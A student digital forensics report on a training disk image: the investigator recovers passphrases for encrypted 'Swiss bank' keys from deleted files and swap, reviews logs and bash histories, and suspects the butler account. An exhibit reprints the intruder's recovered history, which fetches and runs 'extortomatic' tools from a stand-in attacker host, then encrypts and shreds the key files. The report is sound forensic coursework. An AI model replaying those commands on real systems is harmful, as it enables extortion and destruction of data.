Report

Act III: The Wealthy Individual

Date: 31/05/2021

Author: Anas KWEFATI
Email: ak223wd@student.lnu.se
Semester: Spring 2021
Area: Digital Forensics
Course code: 2DV704

Contents

1 Executive Summary

The main purpose of this investigation is to decrypt the access codes to the victim's Swiss bank account, so he will not have to pay the ransom, and will still be able to do business. Moreover, the victim, would like to have an idea as who is responsible for this incident. After investigation, it has been concluded that the system was indeed compromised, and the encrypted codes were successfully solved, however, the incident timeline to the day of encryption is still unclear, despite having the butler account being suspicious.

2 Purpose of the Investigation

The reason for conducting the investigation can be read in Section 1. But to sum it up, someone has contacted us because his employer's computer had been compromised by an intruder. This person managed to delete the files and encrypted the employer's Swiss bank account access codes. Therefore, to be able to decrypt the Swiss bank access keys, we have decided to use some tools to recover deleted files, look into the memory swap, but also look at each user's profile. Despite not being the priority for our client, he would like to know who is responsible, thus we will be also looking into the logs section and see if there is anything useful. We are investigating the image using Kali Linux 2020.3 in a Virtual Machine environment.

3 Methodology

We have followed the standard procedures, and protocol for this investigation. Thus, in this forensic examination, we have decided to download **act3.img**, in our local environment using the command tool rsync. Then we mounted that image into our Kali Linux VM using VirtualBox. Kali Linux was chosen as it regroups many tools that can be used for digital forensics. We made sure to keep a copy of the image, and have it as a read only, and we also created a hash value of that image in order to make sure everything is the same (Figure 1). The client's priority was to decrypt the keys, therefore, when accessing the image, we directly started to recover any deleted files, and checked the users in order to find any keys to decrypt the access codes. When they were found, we managed to decrypt the keys, and we decided to look at who is responsible of this event. Thus, the logs were checked, but also users' bash history.

In order to complete the investigation, the following tools were used:

- **Tsk_recover:** Tool to recover deleted files on the system.
- **Hexedit:** Displays and examine binary files in hexadecimal.
- **Cat:** View the content of a file.
- **Less:** Displays the content of a file.
- **Grep:** Used to search texts and strings in a gile.
- **John The Ripper:** Used to crack users passwords.
- **Gpg:** GnuPrivacy Guard was used to decrypt the swisskey files with .gpg extension.

4 Electronic Media Analyzed

The file **act3.img** has been examined. An .img extension means that the file is storing raw disk images of either a floppy disks, hard drives, and optical discs. Therefore, there should be no data beyond what the content of the disk. The investigator has obtained the file on May 31, 2021 10:10 in the morning. The total size of the file is 2Gb.

5 Report Findings

An analysis was conducted on the given image file of the hard disk. This hard disk is owned by a person with a lot of money, and was imaged by the investigator in order to analyze it. The Figure 2, contains the timeline of the incident in Pacific Daylight Time (PDT) according to the system.

We received this hard disk on May 31, 2021 at 10:10 AM, and an image was created from it, named as **act3.img**. After this, we decided to create a copy of it and generate a cryptographic hash of the copy and the original file. Doing that allows us to ensure that the two images are bit-for-bit the same, and represent exactly what is on the file. This result can be seen in Figure 1. We also made sure that it is in read only, so we don't modify anything.

Now, we know for certain that the copy image has not been changed, therefore, all future work will be done on the copy image file. The first thing we did was to check if the hard disk was infected with a malware. Doing this step is important, in order to make sure that no malware were installed on the system. Therefore, we used the anti-virus **ClamAV**. We scanned the file, and no malware were detected.

The second step we have done, was to focus on the main investigation, which is to decrypt the Swiss keys by finding the passwords. Therefore, we started by recovering all the files from the device, which will be analyzed. Meanwhile, we decide to check each users profile, and gather some information. When looking at **Rich** account, we can learn there are a total of 8 keys encrypted (Figure 3), so from here we are sure at the total number of keys to recover. Furthermore, when looking at Rich's path, we managed to find two folders (**.mozilla** and **.extrtmtc**), that contain the passwords 4 and 5 (Figure 7, and 8). When using those passwords, we were able to decrypt the swisskey 4 and 5. Afterward, we decided to look the other users, but nothing important was found in regards to the key decryption. Thus, we preferred to look other places in the system, in Figure 4, we managed to find the password to decrypt swisskey 1, which is located in **tmp** (temporary) folder, which is inside another folder named as **extormatic-2341**. At that moment, we tried to search other keys in other paths, but nothing successful was obtained, so we decided to examine the recovered files.

We managed to recover many files, but most of them did not seem to contain useful data, except 4 files. In Figure 9, we can see 3 files that contain the passwords which can be used to decrypt their corresponding Swiss key 6, 7 and 8. Additionally, we found a special file which seems to be a deleted bash history by the intruder (Figure 17), indeed from that point it is visible that someone created the *.mozilla* and *.extrtmtc* folders, but also it is visible that someone was encrypting the swisskeys using gpg. This person seemed to know what he was doing. Either way, after find this, we decided to look to other files, but nothing too important was gathered, so we had to check the swap space (Figure 12 shows

the swap location). We have used hexedit, in order to read the data, when searching for the keyword **Key**, we managed to find the passwords for the swisskey 2 and 3 (Figure 5, and 6).

At that point, we found all the passwords that were used to decrypt all the swisskeys, and thus the client does not need to pay the ransom for the decryption keys. Figure 11 shows the final result.

Now that the main issue was solved as we decrypted all the codes, the next step we have taken was to understand what has happened.

The first step was to check the passwd file (**etc/passwd**), to see if there was something out of the normal, but we only found 5 users, which are **Rich**, **Jeeves**, **Gardener**, **Chef**, and **Ubuntu** (Figure 13).

Then, the next step was to analyze the logs, in the folder **/var/log**. The **Auth.log** had interesting information as we could see which session has been opened, and the accepted password (Figure 14, and 15). The other logs did not seem to have much information, so we looked at the bash history for each user, in case there's something.

- **Chef:** Nothing important was found, beside he created a folder called *recipes*, and looked like he was writing some bread recipe (Figure 18).
- **Gardener:** As seen in Figure 19, this person was trying to read his bash history using the command **cat**, but also he tested **gpg** command. However, there is not enough evidence to suspect this person.
- **Jeeves:** In Figure 20, we can see that someone, or Jeeves himself, was monitoring the activity of all the users in the system except for himself (*watch "w | grep -v jeeves"*). Furthermore, he used the command *su* to switch to Rich's account, but as well as to the root account, Figure 16, shows it clearly as well.
- **Rich:** No bash history was found, hence we can suspect that the intruder used Rich account to encrypt the Swiss keys and deleted the bash history, so no one can find it. That being said, the bash history was recovered Figure 17.
- **Ubuntu:** Nothing important was found for this user (Figure 21).

6 Conclusion

To conclude, we have managed to recover all the Swiss access codes, as we managed to find all the passwords to decrypt them, thus there is no need to pay the ransom anymore. Furthermore, according to all the gathered data, we believe that someone accessed to Jeeves and Rich's account in order to encrypt the Swiss bank access codes, we also suspect that it is an insider job, as this person seemed to know where to find the information, but also knew all the passwords, as he managed to access to all the accounts. We could also assume that the intruder is the butler himself, as he might know the passwords, where the files are located and so on. He might have encrypted the Swiss account access on purpose for money. Nevertheless nothing is sure, and the client should take the appropriate actions to find the responsible. The Figure 2, shows the timeline of the incident.

Finally, before returning the system to production, there is a need on defining properly the privileges for each user and restricting to only what they need. Also, any sensitive data

should have been encrypted and stored securely somewhere, as only the owner of those keys should have had access to them. We would also recommend to format the whole disk, as it has been compromised. Then, we managed to crack all the users' password, Figure 22 shows they were not secure enough, thus, there is a need to create more complex passwords, with at least 13 characters. They would include uppercase, and lowercase letters, but also special characters, numbers etc. Doing that would make it harder for anyone to crack them and have access into the accounts.

After the investigation was finished, we have generated the hash of the image and we obtained:

SHA256(act3.img) = 79c060f1439c4f82a276ec728bbd2059bd486319b2fce80e2cfaa1d11b1936f9

This matches what we obtained at the beginning of the investigation. The inspection was finished on June 1, 2021 at 10:10 AM.

7 Exhibits/Appendices

```
root@workbench:/images# sha256sum act3.img
79c060f1439c4f82a276ec728bbd2059bd486319b2fce80e2cfaa1d11b1936f9  act3.img
```

Figure 1: Cryptographic hash value of act3.img

Time	Action
Sep 10 00:27:30	Password accepted for Jeeves
Sep 10 00:28:37	Intruder access Rich's account from Jeeves
Sep 10 00:28:37 - Sep 10 00:37:15	Swisskey encrypted in Rich's bash history
Sep 10 00:37:15	Intruder opens root session from Rich's account
Sep 10 00:37:15 - Sep 10 00:38:19	Rich's bash history deleted
Sep 10 00:38:19	Intruder gets root access from Jeeves account
Sep 10 00:38:40	System shutdown

Figure 2: Incident timeline

```
kali@kali:/media/kali/615b3c9b-ff5d-45ea-81c9-61fce974c086/home/rich/swiss_keys$ ls -al
total 18
drwxr-xr-x 2 1001 1001 1024 Jun  3 07:09 .
drwxr-xr-x 8 1001 1001 1024 Sep  9  2007 ..
-rw-r--r-- 1 root root   43 Jun  3 07:02 swisskey1
-rw-r--r-- 1 1001 1001   80 Sep 10  2007 swisskey1.gpg
-rw-r--r-- 1 root root   28 Jun  3 07:06 swisskey2
-rw-r--r-- 1 1001 1001   74 Sep 10  2007 swisskey2.gpg
-rw-r--r-- 1 root root   38 Jun  3 07:07 swisskey3
-rw-r--r-- 1 1001 1001   86 Sep 10  2007 swisskey3.gpg
-rw-r--r-- 1 root root   29 Jun  3 07:08 swisskey4
-rw-r--r-- 1 1001 1001   77 Sep 10  2007 swisskey4.gpg
-rw-r--r-- 1 root root   38 Jun  3 07:08 swisskey5
-rw-r--r-- 1 1001 1001   86 Sep 10  2007 swisskey5.gpg
-rw-r--r-- 1 root root   33 Jun  3 07:09 swisskey6
-rw-r--r-- 1 1001 1001   81 Sep 10  2007 swisskey6.gpg
-rw-r--r-- 1 root root   36 Jun  3 07:09 swisskey7
-rw-r--r-- 1 1001 1001   82 Sep 10  2007 swisskey7.gpg
-rw-r--r-- 1 root root   38 Jun  3 07:09 swisskey8
-rw-r--r-- 1 1001 1001   84 Sep 10  2007 swisskey8.gpg
kali@kali:/media/kali/615b3c9b-ff5d-45ea-81c9-61fce974c086/home/rich/swiss_keys$
```

Figure 3: Swisskeys encrypted

```
kali@kali:/media/kali/615b3c9b-ff5d-45ea-81c9-61fce974c086/tmp$ ls -al
total 3
drwxrwxrwt  3 root root 1024 Sep 10  2007 .
dr-xr-xr-x 21 root root 1024 Sep 15  2007 ..
drwxr-xr-x  2 1001 1001 1024 Sep 10  2007 extortomatic-23421
kali@kali:/media/kali/615b3c9b-ff5d-45ea-81c9-61fce974c086/tmp$ cd extortomatic-23421/
kali@kali:/media/kali/615b3c9b-ff5d-45ea-81c9-61fce974c086/tmp/extortomatic-23421$ ls -al
total 3
drwxr-xr-x 2 1001 1001 1024 Sep 10  2007 .
drwxrwxrwt 3 root root 1024 Sep 10  2007 ..
-rw-r--r-- 1 1001 1001   20 Sep 10  2007 key1
kali@kali:/media/kali/615b3c9b-ff5d-45ea-81c9-61fce974c086/tmp/extortomatic-23421$ cat key1
1 23philo7dendron88
```

Figure 4: Swiss Bank Key 1

```
000120B8   09 08 74 10  6A 2D 89 CA  89 E8 E8 95  FA FF FF 5E  FF 4C 24 04  ..t.j-.........^.L$.
000120CC   55 E8 D6 6F  02 00 5B FF  74 24 14 E8  DC 36 01 00  85 C0 59 89  U..o..[.t$...6....Y.
000120E0   6B 65 79 32  20 34 31 6A  61 64 65 36  74 72 65 65  32 39 70 95  key2 41jade6tree29p.
000120F4   09 08 00 7E  12 FF 35 88  95 09 08 68  B0 F5 08 08  E8 9B 00 02  ...~..5....h........
00012108   00 58 5A FF  74 24 08 68  93 41 09 08  E8 8B 00 02  00 5D 58 80  .XZ.t$.h.A.......]X.
0001211C   3D 64 95 09  08 00 74 13  83 7C 24 08  00 7E 0C FF  35 88 95 09  =d....t..|$..~..5...
00012130   08 E8 CE FE  01 00 5F 80  3D 6B 95 09  08 00 74 13  83 7C 24 08  ......_.=k....t..|$.
00012144   00 6B 65 79  32 20 34 31  6A 61 64 65  36 74 72 65  65 32 39 7E  .key2 41jade6tree29~
```

Figure 5: Swiss Bank Key 2

```
1DE7EA88   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  ........................
1DE7EAA0   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  ........................
1DE7EAB8   00 00 00 00  00 00 00 00  6B 65 79 20  33 20 32 39  61 7A 61 6C  65 61 38 66  ........key 3 29azalea8f
1DE7EAD0   6C 6F 77 65  72 30 30 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  lower00.................
1DE7EAE8   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  ........................
```

Figure 6: Swiss Bank Key 3

```
kali@kali:/media/kali/615b3c9b-ff5d-45ea-81c9-61fce974c086/home/rich$ ls -al
total 19
drwxr-xr-x 8 1001 1001 1024 Sep  9  2007 .
drwxr-xr-x 7 root root 1024 Sep 10  2007 ..
-rw-r--r-- 1 1001 1001  220 Sep 10  2007 .bash_logout
-rw-r--r-- 1 1001 1001  414 Sep 10  2007 .bash_profile
-rw-r--r-- 1 1001 1001 2227 Sep 10  2007 .bashrc
drwxr-xr-x 2 1001 1001 1024 Sep  9  2007 .extrtmtc
drwxr-xr-x 2 1001 1001 1024 Sep 10  2007 .games
drwx------ 2 1001 1001 1024 Sep 10  2007 .gnupg
-rw------- 1 1001 1001   35 Sep 10  2007 .lesshst
drwxr-xr-x 3 1001 1001 1024 Sep 10  2007 .mozilla
drwxr-xr-x 2 1001 1001 1024 Sep 10  2007 swiss_keys
drwxr-xr-x 2 1001 1001 1024 Sep 10  2007 .thunderbird
-rw------- 1 1001 1001 4563 Sep 10  2007 .viminfo
kali@kali:/media/kali/615b3c9b-ff5d-45ea-81c9-61fce974c086/home/rich$ ls -al .extrtmtc/
total 3
drwxr-xr-x 2 1001 1001 1024 Sep  9  2007 .
drwxr-xr-x 8 1001 1001 1024 Sep  9  2007 ..
-rw-r--r-- 1 1001 1001   24 Sep 10  2007 key4
kali@kali:/media/kali/615b3c9b-ff5d-45ea-81c9-61fce974c086/home/rich$ cat .extrtmtc/key4
4 11hibiscus2hibiscus23
```

Figure 7: Swiss Bank Key 4

```
kali@kali:/media/kali/615b3c9b-ff5d-45ea-81c9-61fce974c086/home/rich$ cd .mozilla/
kali@kali:/media/kali/615b3c9b-ff5d-45ea-81c9-61fce974c086/home/rich/.mozilla$ ls -al
total 3
drwxr-xr-x 3 1001 1001 1024 Sep 10  2007 .
drwxr-xr-x 8 1001 1001 1024 Sep  9  2007 ..
drwxr-xr-x 2 root root 1024 Sep 10  2007 cache
kali@kali:/media/kali/615b3c9b-ff5d-45ea-81c9-61fce974c086/home/rich/.mozilla$ cd cache/
kali@kali:/media/kali/615b3c9b-ff5d-45ea-81c9-61fce974c086/home/rich/.mozilla/cache$ ls -al
total 3
drwxr-xr-x 2 root root 1024 Sep 10  2007 .
drwxr-xr-x 3 1001 1001 1024 Sep 10  2007 ..
-rw-r--r-- 1 root root   20 Sep 10  2007 a234Z8x0
kali@kali:/media/kali/615b3c9b-ff5d-45ea-81c9-61fce974c086/home/rich/.mozilla/cache$ cat a234Z8x0
5 19rose42blossom35
```

Figure 8: Swiss Bank Key 5

```
kali@kali:~/act3/act/$OrphanFiles$ cat OrphanFile-368000
7 17jonquil23scent14
kali@kali:~/act3/act/$OrphanFiles$ cat OrphanFile-368001
8 26daisy99daisy99
kali@kali:~/act3/act/$OrphanFiles$ cat OrphanFile-368002
6 13tulip34root28
```

Figure 9: Swiss Bank Key 6,7, and 8

Key	Passwords	Location	Swiss Key Decryption Result
1	23philo7dendron88	/tmp/extortomatic-23421/key1	me_and_you_and_you_and_me-so_happy_2gether
2	41jade6tree29	Found in Swap	everybody_dance_now_hey_now
3	29azalea8flower00	Found in Swap	what_would_you_do_if_sang_out_of_tune
4	11hibiscus2hibiscus23	/rich/.extrtmtc/key4	im_pickin_up_good_vibrations
5	19rose42blossom35	/rich/.mozilla/cache/a234z8x0	its_the_little_old_lady_from_pasadena
6	13tulip34root28	Recovered from deleted files with tsk_recover	raindrops_keep_fallin_on_my_head
7	17jonquil23scent14	Recovered from deleted files with tsk_recover	twist_again_like-we_did_last_summer
8	26daisy99daisy99	Recovered from deleted files with tsk_recover	goodness_gracious_great_balls_of_fire

Figure 10: Swiss Keys decrypted result

```
kali@kali:/media/kali/615b3c9b-ff5d-45ea-81c9-61fce974c086/home/rich/swiss_keys$ cat swisskey1
me_and_you_and_you_and_me-so_happy_2gether
kali@kali:/media/kali/615b3c9b-ff5d-45ea-81c9-61fce974c086/home/rich/swiss_keys$ cat swisskey2
everybody_dance_now_hey_now
kali@kali:/media/kali/615b3c9b-ff5d-45ea-81c9-61fce974c086/home/rich/swiss_keys$ cat swisskey3
what_would_you_do_if_sang_out_of_tune
kali@kali:/media/kali/615b3c9b-ff5d-45ea-81c9-61fce974c086/home/rich/swiss_keys$ cat swisskey4
im_pickin_up_good_vibrations
kali@kali:/media/kali/615b3c9b-ff5d-45ea-81c9-61fce974c086/home/rich/swiss_keys$ cat swisskey5
its_the_little_old_lady_from_pasadena
kali@kali:/media/kali/615b3c9b-ff5d-45ea-81c9-61fce974c086/home/rich/swiss_keys$ cat swisskey6
raindrops_keep_fallin_on_my_head
kali@kali:/media/kali/615b3c9b-ff5d-45ea-81c9-61fce974c086/home/rich/swiss_keys$ cat swisskey7
twist_again_like-we_did_last_summer
kali@kali:/media/kali/615b3c9b-ff5d-45ea-81c9-61fce974c086/home/rich/swiss_keys$ cat swisskey8
goodness_gracious_great_balls_of_fire
```

Figure 11: Swiss Keys decrypted

```
kali@kali:/media/kali/615b3c9b-ff5d-45ea-81c9-61fce974c086/etc$ cat fstab
# /etc/fstab: static file system information.
#
# <file system> <mount point>   <type>  <options>       <dump>  <pass>
proc            /proc           proc    defaults        0       0
/dev/sda1       /               ext2    defaults,errors=remount-ro 0       1
/dev/sda2       none            swap    sw              0       0
/dev/hdc        /media/cdrom0   udf,iso9660 user,noauto     0       0
```

Figure 12: Swap file location

```
kali@kali:/media/kali/615b3c9b-ff5d-45ea-81c9-61fce974c086/etc$ cat passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
dhcp:x:101:101::/nonexistent:/bin/false
syslog:x:102:102::/home/syslog:/bin/false
klog:x:103:103::/home/klog:/bin/false
ubuntu:x:1000:1000:ubuntu,,,:/home/ubuntu:/bin/bash
sshd:x:100:65534::/var/run/sshd:/bin/false
rich:x:1001:1001:I. M. Rich,,,:/home/rich:/bin/bash
jeeves:x:1002:1002:Mr. Jeeves,,,:/home/jeeves:/bin/bash
gardener:x:1003:1003:Old Toby,,,:/home/gardener:/bin/bash
chef:x:1004:1004:Monsieur Le Creuset,,,:/home/chef:/bin/bash
kali@kali:/media/kali/615b3c9b-ff5d-45ea-81c9-61fce974c086/etc$
```

Figure 13: Passwd file

```
kali@kali:/media/kali/615b3c9b-ff5d-45ea-81c9-61fce974c086/var/log$ less auth.log | grep "password"
Sep 10 00:03:24 megabucks sshd[3721]: Accepted password for root from 10.10.10.100 port 56860 ssh2
Sep 10 00:03:55 megabucks sshd[3736]: Accepted password for gardener from 10.10.10.101 port 48537 ssh2
Sep 10 00:04:43 megabucks sshd[3764]: Accepted password for gardener from 10.10.10.101 port 48538 ssh2
Sep 10 00:05:09 megabucks sshd[3766]: Accepted password for chef from 10.10.10.103 port 48539 ssh2
Sep 10 00:05:21 megabucks sshd[3792]: Accepted password for jeeves from 10.10.10.102 port 48541 ssh2
Sep 10 00:26:46 megabucks sshd[4254]: Accepted password for gardener from 10.10.10.101 port 53440 ssh2
Sep 10 00:27:09 megabucks sshd[4256]: Accepted password for chef from 10.10.10.103 port 53441 ssh2
Sep 10 00:27:30 megabucks sshd[4252]: Accepted password for jeeves from 10.10.10.102 port 53439 ssh2
Sep 10 00:31:20 megabucks sshd[4405]: Accepted password for root from 10.10.10.107 port 48542 ssh2
kali@kali:/media/kali/615b3c9b-ff5d-45ea-81c9-61fce974c086/var/log$
```

Figure 14: Auth.log file content filtered with GREP with keywords Password

```
kali@kali:/media/kali/615b3c9b-ff5d-45ea-81c9-61fce974c086/var/log$ less auth.log | grep "session"
Sep 10 00:03:24 megabucks sshd[3723]: (pam_unix) session opened for user root by root(uid=0)
Sep 10 00:03:55 megabucks sshd[3738]: (pam_unix) session opened for user gardener by (uid=0)
Sep 10 00:04:12 megabucks sshd[3738]: (pam_unix) session closed for user gardener
Sep 10 00:04:43 megabucks sshd[3770]: (pam_unix) session opened for user gardener by (uid=0)
Sep 10 00:05:09 megabucks sshd[3794]: (pam_unix) session opened for user chef by (uid=0)
Sep 10 00:05:21 megabucks sshd[3816]: (pam_unix) session opened for user jeeves by (uid=0)
Sep 10 00:12:39 megabucks sshd[3794]: (pam_unix) session closed for user chef
Sep 10 00:17:01 megabucks CRON[4011]: (pam_unix) session opened for user root by (uid=0)
Sep 10 00:17:02 megabucks CRON[4011]: (pam_unix) session closed for user root
Sep 10 00:24:54 megabucks sshd[3770]: (pam_unix) session closed for user gardener
Sep 10 00:25:02 megabucks sshd[3816]: (pam_unix) session closed for user jeeves
Sep 10 00:26:46 megabucks sshd[4258]: (pam_unix) session opened for user gardener by (uid=0)
Sep 10 00:27:09 megabucks sshd[4285]: (pam_unix) session opened for user chef by (uid=0)
Sep 10 00:27:30 megabucks sshd[4308]: (pam_unix) session opened for user jeeves by (uid=0)
Sep 10 00:27:55 megabucks sshd[4258]: (pam_unix) session closed for user gardener
Sep 10 00:28:04 megabucks sshd[4285]: (pam_unix) session closed for user chef
Sep 10 00:28:37 megabucks su[4365]: (pam_unix) session opened for user rich by (uid=1002)
Sep 10 00:31:20 megabucks sshd[4407]: (pam_unix) session opened for user root by root(uid=0)
Sep 10 00:37:15 megabucks su[4484]: (pam_unix) session opened for user root by (uid=1001)
Sep 10 00:37:42 megabucks su[4484]: (pam_unix) session closed for user root
Sep 10 00:37:51 megabucks su[4365]: (pam_unix) session closed for user rich
Sep 10 00:38:19 megabucks su[4512]: (pam_unix) session opened for user root by (uid=1002)
kali@kali:/media/kali/615b3c9b-ff5d-45ea-81c9-61fce974c086/var/log$
```

Figure 15: Auth.log file content filtered with GREP with Session keyword

```
kali@kali:/media/kali/615b3c9b-ff5d-45ea-81c9-61fce974c086/var/log$ cat auth.log | grep "rich \| jeeves"
Sep 10 00:05:21 megabucks sshd[3792]: Accepted password for jeeves from 10.10.10.102 port 48541 ssh2
Sep 10 00:05:21 megabucks sshd[3816]: (pam_unix) session opened for user jeeves by (uid=0)
Sep 10 00:25:02 megabucks sshd[3816]: (pam_unix) session closed for user jeeves
Sep 10 00:27:30 megabucks sshd[4252]: Accepted password for jeeves from 10.10.10.102 port 53439 ssh2
Sep 10 00:27:30 megabucks sshd[4308]: (pam_unix) session opened for user jeeves by (uid=0)
Sep 10 00:28:37 megabucks su[4365]: + pts/2 jeeves:rich
Sep 10 00:28:37 megabucks su[4365]: (pam_unix) session opened for user rich by (uid=1002)
Sep 10 00:38:19 megabucks su[4512]: + pts/2 jeeves:root
```

Figure 16: Auth.log file content filtered with GREP for Jeeves and Rich

```
kali@kali:~/act3/act/$OrphanFiles$ cat OrphanFile-368003
ls -alh
mkdir .mozilla
mkdir .thunderbird
mkdir .games
cd swiss_keys/
ls
for i in *; do vi $i; done
whoami
wget
wget http://eeeevilcode.com/extortomatic-hidekey
wget http://eeeevilcode.com/extortomatic-keyhider
cd /home/rich
wget http://eeeevilcode.com/extortomatic-keyhider
ls
chmod u+x extortomatic-keyhider
vi extortomatic-keyhider
./extortomatic-keyhider
ls
cd swiss_keys/
ls
gpg --symmetric swisskey1
cd ..
ls
ls -alh
chown rich:rich -R *
ls
ls -alh
cd swiss_keys/
gpg --symmetric swisskey1
ls
shred swisskey1
man shred
ls
rm swisskey1
gpg --symmetric swisskey2
shred -u swisskey2
gpg --symmetric swisskey3
shred -u swisskey3
gpg --symmetric swisskey4
shred -u -z swisskey4
```

Figure 17: Recovered bash history

```
kali@kali:/media/kali/615b3c9b-ff5d-45ea-81c9-61fce974c086/home/chef$ sudo cat .bash_history
[sudo] password for kali:
mkdir recipes
cd recipes/
ls
echo "best bread recipe:" > bread
```

Figure 18: Chef's Bash History

```
kali@kali:/media/kali/615b3c9b-ff5d-45ea-81c9-61fce974c086/home/gardener$ sudo cat .bash_history
top
lsof
ps aux
ls /home/
gpg
cat .bash_history
gpg
cat .bash_history
```

Figure 19: Gardener's Bash History

```
kali@kali:/media/kali/615b3c9b-ff5d-45ea-81c9-61fce974c086/home/jeeves$ sudo cat .bash_history
w
watch "w | grep -v jeeves"
w
su rich
cat /home/rich/.bash_history
su -
```

Figure 20: Jeeves' Bash History

```
kali@kali:/media/kali/615b3c9b-ff5d-45ea-81c9-61fce974c086/home/ubuntu$ cat .bash_history
sudo vi /etc/apt/sources.list
sudo apt-get update
sudo apt-get dist-upgrade
sudo shutdown -r now
```

Figure 21: Ubuntu's Bash History

```
root:moneymoney:0:0:root:/root:/bin/bash
rich:moneybags:1001:1001:I. M. Rich,,,:/home/rich:/bin/bash
jeeves:butler:1002:1002:Mr. Jeeves,,,:/home/jeeves:/bin/bash
gardener:plants:1003:1003:Old Toby,,,:/home/gardener:/bin/bash
chef:food:1004:1004:Monsieur Le Creuset,,,:/home/chef:/bin/bash
```

Figure 22: Cracked Password